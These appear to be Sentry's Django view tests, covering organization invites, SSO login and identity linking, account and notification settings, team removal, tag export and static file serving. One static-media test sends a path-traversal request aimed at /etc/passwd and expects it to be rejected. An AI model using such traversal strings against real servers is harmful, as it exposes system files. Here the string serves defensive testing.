        )

        assert ale.actor == self.user
        assert ale.target_object == om.id
        assert ale.target_user == self.user
        assert ale.data

    def test_cannot_accept_while_unauthenticated(self):
        om = OrganizationMember.objects.create(
            email='newuser@example.com',
            role='member',
            token='abc',
            organization=self.organization,
        )
        resp = self.client.post(reverse('sentry-accept-invite', args=[om.id, om.token]))
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/accept-organization-invite.html')






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import AuthIdentity, AuthProvider, OrganizationMember
from sentry.testutils import AuthProviderTestCase, PermissionTestCase


class OrganizationAuthSettingsPermissionTest(PermissionTestCase):
    def setUp(self):
        super(OrganizationAuthSettingsPermissionTest, self).setUp()
        self.path = reverse('sentry-organization-auth-settings', args=[self.organization.slug])

    def test_teamless_admin_cannot_load(self):
        with self.feature('organizations:sso'):
            self.assert_teamless_admin_cannot_access(self.path)

    def test_team_admin_cannot_load(self):
        with self.feature('organizations:sso'):
            self.assert_team_admin_cannot_access(self.path)

    def test_owner_can_load(self):
        with self.feature('organizations:sso'):
            self.assert_owner_can_access(self.path)


class OrganizationAuthSettingsTest(AuthProviderTestCase):
    def test_renders_with_context(self):
        organization = self.create_organization(name='foo', owner=self.user)

        path = reverse('sentry-organization-auth-settings', args=[organization.slug])

        self.login_as(self.user)

        with self.feature('organizations:sso'):
            resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-auth-settings.html')

        assert resp.context['organization'] == organization
        assert 'dummy' in [k for k, v in resp.context['provider_list']]

    def test_can_start_auth_flow(self):
        organization = self.create_organization(name='foo', owner=self.user)

        path = reverse('sentry-organization-auth-settings', args=[organization.slug])

        self.login_as(self.user)

        with self.feature('organizations:sso'):
            resp = self.client.post(path, {'provider': 'dummy'})

        assert resp.status_code == 200
        assert resp.content.decode('utf-8') == self.provider.TEMPLATE

    def test_basic_flow(self):
        user = self.create_user('bar@example.com')
        organization = self.create_organization(name='foo', owner=user)

        base_path = reverse('sentry-organization-auth-settings', args=[organization.slug])

        self.login_as(user)

        with self.feature('organizations:sso'):
            resp = self.client.post(base_path, {'provider': 'dummy'})

            assert resp.status_code == 200
            assert self.provider.TEMPLATE in resp.content.decode('utf-8')

            path = reverse('sentry-auth-sso')

            resp = self.client.post(path, {'email': user.email})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver{}'.format(base_path)

        auth_provider = AuthProvider.objects.get(
            organization=organization,
            provider='dummy',
        )

        auth_identity = AuthIdentity.objects.get(
            auth_provider=auth_provider,
        )

        assert user == auth_identity.user

        member = OrganizationMember.objects.get(
            organization=organization,
            user=user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_disable_provider(self):
        organization = self.create_organization(name='foo', owner=self.user)

        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )

        AuthIdentity.objects.create(
            user=self.user,
            ident='foo',
            auth_provider=auth_provider,
        )

        om = OrganizationMember.objects.get(
            user=self.user,
            organization=organization,
        )
        setattr(om.flags, 'sso:linked', True)
        om.save()

        path = reverse('sentry-organization-auth-settings', args=[organization.slug])

        self.login_as(self.user)

        with self.feature('organizations:sso'):
            resp = self.client.post(path, {'op': 'disable'})

        assert resp.status_code == 302

        assert not AuthProvider.objects.filter(organization=organization).exists()
        assert not AuthProvider.objects.filter(id=auth_provider.id).exists()

        om = OrganizationMember.objects.get(id=om.id)

        assert not getattr(om.flags, 'sso:linked')






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.testutils import TestCase


class ReactPageViewTest(TestCase):
    def test_superuser_can_load(self):
        org = self.create_organization(owner=self.user)
        path = reverse('sentry-organization-home', args=[org.slug])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/bases/react.html')
        assert resp.context['request']

    def test_redirects_user_to_auth_without_membership(self):
        owner = self.create_user('bar@example.com')
        org = self.create_organization(owner=owner)
        non_member = self.create_user('foo@example.com')

        path = reverse('sentry-organization-home', args=[org.slug])

        self.login_as(non_member)

        resp = self.client.get(path)

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver{}'.format(
            reverse('sentry-auth-organization', args=[org.slug]),
        )

        # ensure we dont redirect to auth if its not a valid org
        path = reverse('sentry-organization-home', args=['foobar'])

        resp = self.client.get(path)

        assert resp.status_code == 302
        assert resp['Location'] != 'http://testserver{}'.format(
            reverse('sentry-auth-organization', args=[org.slug]),
        )

        # ensure we dont redirect with valid membership
        path = reverse('sentry-organization-home', args=[org.slug])

        self.login_as(owner)

        resp = self.client.get(path)

        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/bases/react.html')
        assert resp.context['request']






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import ProjectStatus, UserOption, UserOptionValue
from sentry.testutils import TestCase


class NotificationSettingsTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-account-settings-notifications')

    def params(self, without=()):
        params = {
            'alert_email': 'foo@example.com',
        }
        return dict((k, v) for k, v in six.iteritems(params) if k not in without)

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_renders_with_required_context(self):
        user = self.create_user('foo@example.com')
        organization = self.create_organization()
        team = self.create_team(organization=organization)
        project = self.create_project(organization=organization, team=team)
        team2 = self.create_team(organization=organization)
        self.create_project(organization=organization, team=team, status=ProjectStatus.PENDING_DELETION)
        self.create_project(organization=organization, team=team2)
        self.create_member(organization=organization, user=user, teams=[project.team])
        self.login_as(user)
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/account/notifications.html')
        assert 'form' in resp.context
        assert 'settings_form' in resp.context
        assert 'reports_form' in resp.context
        assert len(resp.context['project_forms']) == 1

    def test_valid_params(self):
        self.login_as(self.user)

        params = self.params()

        resp = self.client.post(self.path, params)
        assert resp.status_code == 302

        options = UserOption.objects.get_all_values(user=self.user, project=None)

        assert options.get('alert_email') == 'foo@example.com'

    def test_can_change_workflow(self):
        self.login_as(self.user)

        resp = self.client.post(self.path, {
            'workflow_notifications': '1',
        })
        assert resp.status_code == 302

        options = UserOption.objects.get_all_values(
            user=self.user, project=None
        )

        assert options.get('workflow:notifications') == '0'

        resp = self.client.post(self.path, {
            'workflow_notifications': '',
        })
        assert resp.status_code == 302

        options = UserOption.objects.get_all_values(
            user=self.user, project=None
        )

        assert options.get('workflow:notifications') == \
            UserOptionValue.participating_only

    def test_can_change_subscribe_by_default(self):
        self.login_as(self.user)

        resp = self.client.post(self.path, {
            'subscribe_by_default': '1',
        })
        assert resp.status_code == 302

        options = UserOption.objects.get_all_values(
            user=self.user, project=None
        )

        assert options.get('subscribe_by_default') == '1'

    def test_can_disable_reports(self):
        self.login_as(self.user)

        org1 = self.create_organization(name='foo', owner=self.user)
        org2 = self.create_organization(name='bar', owner=self.user)

        resp = self.client.post(self.path, {
            'reports-organizations': org1.id,
        })
        assert resp.status_code == 302

        options = UserOption.objects.get_all_values(
            user=self.user, project=None
        )

        disabled_orgs = set(options.get('reports:disabled-organizations', []))
        assert org1.id not in disabled_orgs
        assert org2.id in disabled_orgs






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import AuthIdentity, AuthProvider, OrganizationMember
from sentry.testutils import AuthProviderTestCase


# TODO(dcramer): this is an integration test
class OrganizationAuthLoginTest(AuthProviderTestCase):
    def test_renders_basic_login_form(self):
        organization = self.create_organization(name='foo', owner=self.user)

        path = reverse('sentry-auth-organization', args=[organization.slug])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-login.html')

        assert resp.context['form']
        assert 'provider_key' not in resp.context
        assert resp.context['CAN_REGISTER']

    def test_renders_session_expire_message(self):
        organization = self.create_organization(name='foo', owner=self.user)
        path = reverse('sentry-auth-organization', args=[organization.slug])

        self.client.cookies['session_expired'] = '1'
        resp = self.client.get(path)

        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/organization-login.html')
        assert len(resp.context['messages']) == 1

    def test_flow_as_anonymous(self):
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        resp = self.client.post(path, {'email': 'foo@example.com'})

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-identity.html')
        assert resp.status_code == 200

        resp = self.client.post(path, {'op': 'newuser'})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        auth_identity = AuthIdentity.objects.get(
            auth_provider=auth_provider,
        )

        user = auth_identity.user
        assert user.email == 'foo@example.com'

        member = OrganizationMember.objects.get(
            organization=organization,
            user=user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_flow_as_existing_user_with_new_account(self):
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        user = self.create_user('bar@example.com')

        path = reverse('sentry-auth-organization', args=[organization.slug])

        self.login_as(user)

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        resp = self.client.post(path, {'email': 'foo@example.com'})

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-link.html')
        assert resp.status_code == 200

        resp = self.client.post(path, {'op': 'confirm'})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        auth_identity = AuthIdentity.objects.get(
            auth_provider=auth_provider,
        )

        assert user == auth_identity.user

        member = OrganizationMember.objects.get(
            organization=organization,
            user=user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_flow_as_existing_identity(self):
        organization = self.create_organization(name='foo', owner=self.user)
        user = self.create_user('bar@example.com')
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user,
            ident='foo@example.com',
        )

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        resp = self.client.post(path, {'email': 'foo@example.com'})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

    def test_flow_as_unauthenticated_existing_matched_user_no_merge(self):
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        user = self.create_user('bar@example.com')

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        resp = self.client.post(path, {'email': user.email})

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-identity.html')
        assert resp.status_code == 200
        assert resp.context['existing_user'] == user
        assert resp.context['login_form']

        resp = self.client.post(path, {'op': 'newuser'})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        auth_identity = AuthIdentity.objects.get(
            auth_provider=auth_provider,
        )

        new_user = auth_identity.user
        assert user.email == 'bar@example.com'
        assert new_user != user

        member = OrganizationMember.objects.get(
            organization=organization,
            user=new_user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_flow_as_unauthenticated_existing_matched_user_with_merge(self):
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        user = self.create_user('bar@example.com')

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        resp = self.client.post(path, {'email': user.email})

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-identity.html')
        assert resp.status_code == 200
        assert resp.context['existing_user'] == user
        assert resp.context['login_form']

        resp = self.client.post(path, {
            'op': 'login',
            'username': user.username,
            'password': 'admin',
        })

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-link.html')
        assert resp.status_code == 200

        resp = self.client.post(path, {'op': 'confirm'})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        auth_identity = AuthIdentity.objects.get(
            auth_provider=auth_provider,
        )

        new_user = auth_identity.user
        assert new_user == user

        member = OrganizationMember.objects.get(
            organization=organization,
            user=user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_flow_as_unauthenticated_existing_unmatched_user_with_merge(self):
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        user = self.create_user('foo@example.com')

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        resp = self.client.post(path, {'email': 'bar@example.com'})

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-identity.html')
        assert resp.status_code == 200
        assert not resp.context['existing_user']
        assert resp.context['login_form']

        resp = self.client.post(path, {
            'op': 'login',
            'username': user.username,
            'password': 'admin',
        })

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-link.html')
        assert resp.status_code == 200

        resp = self.client.post(path, {'op': 'confirm'})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        auth_identity = AuthIdentity.objects.get(
            auth_provider=auth_provider,
        )

        new_user = auth_identity.user
        assert new_user == user

        member = OrganizationMember.objects.get(
            organization=organization,
            user=user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_flow_as_unauthenticated_existing_matched_user_with_merge_and_existing_identity(self):
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        user = self.create_user('bar@example.com')

        auth_identity = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user,
            ident='adfadsf@example.com'
        )

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        resp = self.client.post(path, {'email': user.email})

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-identity.html')
        assert resp.status_code == 200
        assert resp.context['existing_user'] == user
        assert resp.context['login_form']

        resp = self.client.post(path, {
            'op': 'login',
            'username': user.username,
            'password': 'admin',
        })

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-link.html')
        assert resp.status_code == 200

        resp = self.client.post(path, {'op': 'confirm'})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        auth_identity = AuthIdentity.objects.get(
            id=auth_identity.id,
        )

        assert auth_identity.ident == user.email

        new_user = auth_identity.user
        assert new_user == user

        member = OrganizationMember.objects.get(
            organization=organization,
            user=user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_flow_as_unauthenticated_existing_inactive_user_with_merge_and_existing_identity(self):
        """
        Given an unauthenticated user, and an existing, inactive user account
        with a linked identity, this should claim that identity and create
        a new user account.
        """
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        user = self.create_user('bar@example.com', is_active=False)

        auth_identity = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user,
            ident='adfadsf@example.com'
        )

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        resp = self.client.post(path, {'email': 'adfadsf@example.com'})

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-identity.html')
        assert resp.status_code == 200
        assert not resp.context['existing_user']
        assert resp.context['login_form']

        resp = self.client.post(path, {
            'op': 'newuser',
        })

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        auth_identity = AuthIdentity.objects.get(
            id=auth_identity.id,
        )

        assert auth_identity.ident == 'adfadsf@example.com'

        new_user = auth_identity.user
        assert new_user != user

        member = OrganizationMember.objects.get(
            organization=organization,
            user=new_user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_flow_managed_duplicate_users_with_membership(self):
        """
        Given an existing authenticated user, and an updated identity (e.g.
        the ident changed from the SSO provider), we should be re-linking
        the identity automatically (without prompt) assuming the user is
        a member of the org.
        """
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )

        # setup a 'previous' identity, such as when we migrated Google from
        # the old idents to the new
        user = self.create_user('bar@example.com', is_active=False, is_managed=True)
        auth_identity = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user,
            ident='bar@example.com'
        )

        # they must be a member for the auto merge to happen
        self.create_member(
            organization=organization,
            user=user,
        )

        # user needs to be logged in
        self.login_as(user)

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        # we're suggesting the identity changed (as if the Google ident was
        # updated to be something else)
        resp = self.client.post(path, {'email': 'adfadsf@example.com'})

        # there should be no prompt as we auto merge the identity
        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        auth_identity = AuthIdentity.objects.get(
            id=auth_identity.id,
        )

        assert auth_identity.ident == 'adfadsf@example.com'

        new_user = auth_identity.user
        assert new_user == user

        member = OrganizationMember.objects.get(
            organization=organization,
            user=new_user,
        )

        assert getattr(member.flags, 'sso:linked')
        assert not getattr(member.flags, 'sso:invalid')

    def test_flow_managed_duplicate_users_without_membership(self):
        """
        Given an existing authenticated user, and an updated identity (e.g.
        the ident changed from the SSO provider), we should be prompting to
        confirm their identity as they dont have membership.
        """
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )

        # setup a 'previous' identity, such as when we migrated Google from
        # the old idents to the new
        user = self.create_user('bar@example.com', is_active=False, is_managed=True)
        AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user,
            ident='bar@example.com'
        )

        # user needs to be logged in
        self.login_as(user)

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        # we're suggesting the identity changed (as if the Google ident was
        # updated to be something else)
        resp = self.client.post(path, {'email': 'adfadsf@example.com'})

        self.assertTemplateUsed(resp, 'sentry/auth-confirm-link.html')
        assert resp.status_code == 200
        assert resp.context['existing_user'] == user

    def test_swapped_identities(self):
        """
        Given two existing user accounts with mismatched identities, such as:

        - foo SSO'd as bar@example.com
        - bar SSO'd as foo@example.com

        If bar is authenticating via SSO as bar@example.com, we should remove
        the existing entry attached to bar, and re-bind the entry owned by foo.
        """
        organization = self.create_organization(name='foo', owner=self.user)
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )

        # setup a 'previous' identity, such as when we migrated Google from
        # the old idents to the new
        user = self.create_user('bar@example.com', is_active=False, is_managed=True)
        identity1 = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user,
            ident='bar@example.com'
        )

        # create another identity which is used, but not by the authenticating
        # user
        user2 = self.create_user('adfadsf@example.com', is_active=False, is_managed=True)
        identity2 = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user2,
            ident='adfadsf@example.com'
        )
        member2 = self.create_member(user=user2, organization=organization)

        # user needs to be logged in
        self.login_as(user)

        path = reverse('sentry-auth-organization', args=[organization.slug])

        resp = self.client.post(path)

        assert resp.status_code == 200
        assert self.provider.TEMPLATE in resp.content.decode('utf-8')

        path = reverse('sentry-auth-sso')

        # we're suggesting the identity changed (as if the Google ident was
        # updated to be something else)
        resp = self.client.post(path, {'email': 'adfadsf@example.com'})

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

        assert not AuthIdentity.objects.filter(
            id=identity1.id,
        ).exists()

        identity2 = AuthIdentity.objects.get(
            id=identity2.id,
        )

        assert identity2.ident == 'adfadsf@example.com'
        assert identity2.user == user

        member1 = OrganizationMember.objects.get(
            user=user,
            organization=organization,
        )
        assert getattr(member1.flags, 'sso:linked')
        assert not getattr(member1.flags, 'sso:invalid')

        member2 = OrganizationMember.objects.get(id=member2.id)
        assert not getattr(member2.flags, 'sso:linked')
        assert getattr(member2.flags, 'sso:invalid')






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import Team, TeamStatus
from sentry.testutils import TestCase, PermissionTestCase


class RemoveTeamPermissionTest(PermissionTestCase):
    def setUp(self):
        super(RemoveTeamPermissionTest, self).setUp()
        self.path = reverse('sentry-remove-team', args=[self.organization.slug, self.team.slug])

    def test_teamless_admin_cannot_load(self):
        self.assert_teamless_admin_cannot_access(self.path)

    def test_team_admin_can_load(self):
        self.assert_team_admin_can_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)


class RemoveTeamTest(TestCase):
    def setUp(self):
        super(RemoveTeamTest, self).setUp()
        self.owner = self.create_user(email='example@example.com')
        self.organization = self.create_organization(owner=self.owner)
        self.team = self.create_team(name='bar', organization=self.organization)
        self.path = reverse('sentry-remove-team', args=[self.organization.slug, self.team.slug])
        self.login_as(self.owner)

    def test_does_load(self):
        resp = self.client.get(self.path)

        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/teams/remove.html')

    def test_valid_params(self):
        resp = self.client.post(self.path)

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry')

        team = Team.objects.get(id=self.team.id)

        assert team.status == TeamStatus.PENDING_DELETION






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone

from sentry.models import GroupTagValue, TagKey, TagValue
from sentry.testutils import TestCase


class GroupTagExportTest(TestCase):
    def test_simple(self):
        key, value = 'foo', 'bar'

        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)

        project = self.create_project()
        group = self.create_group(project=project)
        TagKey.objects.create(project=project, key=key)
        TagValue.objects.create(
            project=project,
            key=key,
            value=value,
        )
        group_tag_value = GroupTagValue.objects.create(
            project=project,
            group=group,
            key=key,
            value=value,
            times_seen=1,
            first_seen=now - timedelta(hours=1),
            last_seen=now,
        )

        self.login_as(user=self.user)

        url = '/{}/{}/issues/{}/tags/{}/export/'.format(
            project.organization.slug, project.slug, group.id, key
        )

        response = self.client.get(url)

        assert response.status_code == 200
        assert response.streaming
        assert response['Content-Type'] == 'text/csv'
        rows = list(response.streaming_content)
        for idx, row in enumerate(rows):
            row = row.decode('utf-8')
            assert row.endswith(u'\r\n')
            bits = row[:-2].split(',')
            if idx == 0:
                assert bits == ['value', 'times_seen', 'last_seen', 'first_seen']
            else:
                assert bits[0] == value
                assert bits[1] == '1'
                assert bits[2] == group_tag_value.last_seen.strftime('%Y-%m-%dT%H:%M:%S.%fZ')
                assert bits[3] == group_tag_value.first_seen.strftime('%Y-%m-%dT%H:%M:%S.%fZ')






from __future__ import absolute_import






from __future__ import absolute_import

import os
from django.test.utils import override_settings
from sentry.testutils import TestCase
from sentry.web.frontend.generic import FOREVER_CACHE, NEVER_CACHE


class StaticMediaTest(TestCase):
    @override_settings(DEBUG=False)
    def test_basic(self):
        url = '/_static/sentry/app/index.js'
        response = self.client.get(url)
        assert response.status_code == 200, response
        assert response['Cache-Control'] == NEVER_CACHE
        assert response['Vary'] == 'Accept-Encoding'
        assert response['Access-Control-Allow-Origin'] == '*'
        'Content-Encoding' not in response

    @override_settings(DEBUG=False)
    def test_versioned(self):
        url = '/_static/1234567890/sentry/app/index.js'
        response = self.client.get(url)
        assert response.status_code == 200, response
        assert response['Cache-Control'] == FOREVER_CACHE
        assert response['Vary'] == 'Accept-Encoding'
        assert response['Access-Control-Allow-Origin'] == '*'
        'Content-Encoding' not in response

        url = '/_static/a43db3b08ddd4918972f80739f15344b/sentry/app/index.js'
        response = self.client.get(url)
        assert response.status_code == 200, response
        assert response['Cache-Control'] == FOREVER_CACHE
        assert response['Vary'] == 'Accept-Encoding'
        assert response['Access-Control-Allow-Origin'] == '*'
        'Content-Encoding' not in response

        with override_settings(DEBUG=True):
            response = self.client.get(url)
            assert response.status_code == 200, response
            assert response['Cache-Control'] == NEVER_CACHE
            assert response['Vary'] == 'Accept-Encoding'
            assert response['Access-Control-Allow-Origin'] == '*'

    @override_settings(DEBUG=False)
    def test_no_cors(self):
        url = '/_static/sentry/images/favicon.ico'
        response = self.client.get(url)
        assert response.status_code == 200, response
        assert response['Cache-Control'] == NEVER_CACHE
        assert response['Vary'] == 'Accept-Encoding'
        assert 'Access-Control-Allow-Origin' not in response
        'Content-Encoding' not in response

    def test_404(self):
        url = '/_static/sentry/app/thisfiledoesnotexistlol.js'
        response = self.client.get(url)
        assert response.status_code == 404, response

    def test_gzip(self):
        url = '/_static/sentry/app/index.js'
        response = self.client.get(url, HTTP_ACCEPT_ENCODING='gzip,deflate')
        assert response.status_code == 200, response
        assert response['Vary'] == 'Accept-Encoding'
        'Content-Encoding' not in response

        try:
            open('src/sentry/static/sentry/app/index.js.gz', 'a').close()

            # Not a gzip Accept-Encoding, so shouldn't serve gzipped file
            response = self.client.get(url, HTTP_ACCEPT_ENCODING='lol')
            assert response.status_code == 200, response
            assert response['Vary'] == 'Accept-Encoding'
            'Content-Encoding' not in response

            response = self.client.get(url, HTTP_ACCEPT_ENCODING='gzip,deflate')
            assert response.status_code == 200, response
            assert response['Vary'] == 'Accept-Encoding'
            assert response['Content-Encoding'] == 'gzip'
        finally:
            try:
                os.unlink('src/sentry/static/sentry/app/index.js.gz')
            except Exception:
                pass

    def test_file_not_found(self):
        url = '/_static/sentry/app/xxxxxxxxxxxxxxxxxxxxxxxx.js'
        response = self.client.get(url)
        assert response.status_code == 404, response

    def test_bad_access(self):
        url = '/_static/sentry/images/../../../../../etc/passwd'
        response = self.client.get(url)
        assert response.status_code == 404, response

    def test_directory(self):
        url = '/_static/sentry/images/'
        response = self.client.get(url)
        assert response.status_code == 404, response

        url = '/_static/sentry/images'
        response = self.client.get(url)
        assert response.status_code == 404, response






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock
import six

from django.core.urlresolvers import reverse
from exam import fixture
from social_auth.models import UserSocialAuth

from sentry.models import (
    UserEmail, LostPasswordHash, User, UserOption
)
from sentry.testutils import TestCase


class AppearanceSettingsTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-account-settings-appearance')

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_does_use_template(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)

        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/account/appearance.html')

    def test_does_save_settings(self):
        self.login_as(self.user)

        resp = self.client.post(self.path, {
            'language': 'en',
            'stacktrace_order': '2',
            'clock_24_hours': True
        })
        assert resp.status_code == 302

        options = UserOption.objects.get_all_values(user=self.user, project=None)

        assert options.get('language') == 'en'
        assert options.get('stacktrace_order') == '2'
        assert options.get('clock_24_hours') is True


class SettingsTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-account-settings')

    def params(self, without=()):
        params = {
            'email': 'admin@localhost',
            'name': 'Foo bar',
        }
        return dict((k, v) for k, v in six.iteritems(params) if k not in without)

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_renders_with_required_context(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/account/settings.html')
        assert 'form' in resp.context

    def test_requires_email(self):
        self.login_as(self.user)

        resp = self.client.post(self.path, self.params(without=['email']))
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/account/settings.html')
        assert 'form' in resp.context
        assert 'email' in resp.context['form'].errors

    def test_requires_name(self):
        self.login_as(self.user)

        resp = self.client.post(self.path, self.params(without=['name']))
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/account/settings.html')
        assert 'form' in resp.context
        assert 'name' in resp.context['form'].errors

    def test_minimum_valid_params(self):
        self.login_as(self.user)

        params = self.params()

        resp = self.client.post(self.path, params)
        assert resp.status_code == 302
        user = User.objects.get(id=self.user.id)
        assert user.name == params['name']

    def test_can_change_password_with_password(self):
        self.login_as(self.user)

        params = self.params()
        params['password'] = 'admin'
        params['new_password'] = 'foobar'

        resp = self.client.post(self.path, params)
        assert resp.status_code == 302
        user = User.objects.get(id=self.user.id)
        assert user.check_password('foobar')

    def test_cannot_change_password_with_invalid_password(self):
        self.login_as(self.user)

        params = self.params()
        params['new_password'] = 'foobar'

        resp = self.client.post(self.path, params)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/account/settings.html')
        assert resp.context['form'].errors
        user = User.objects.get(id=self.user.id)
        assert not user.check_password('foobar')

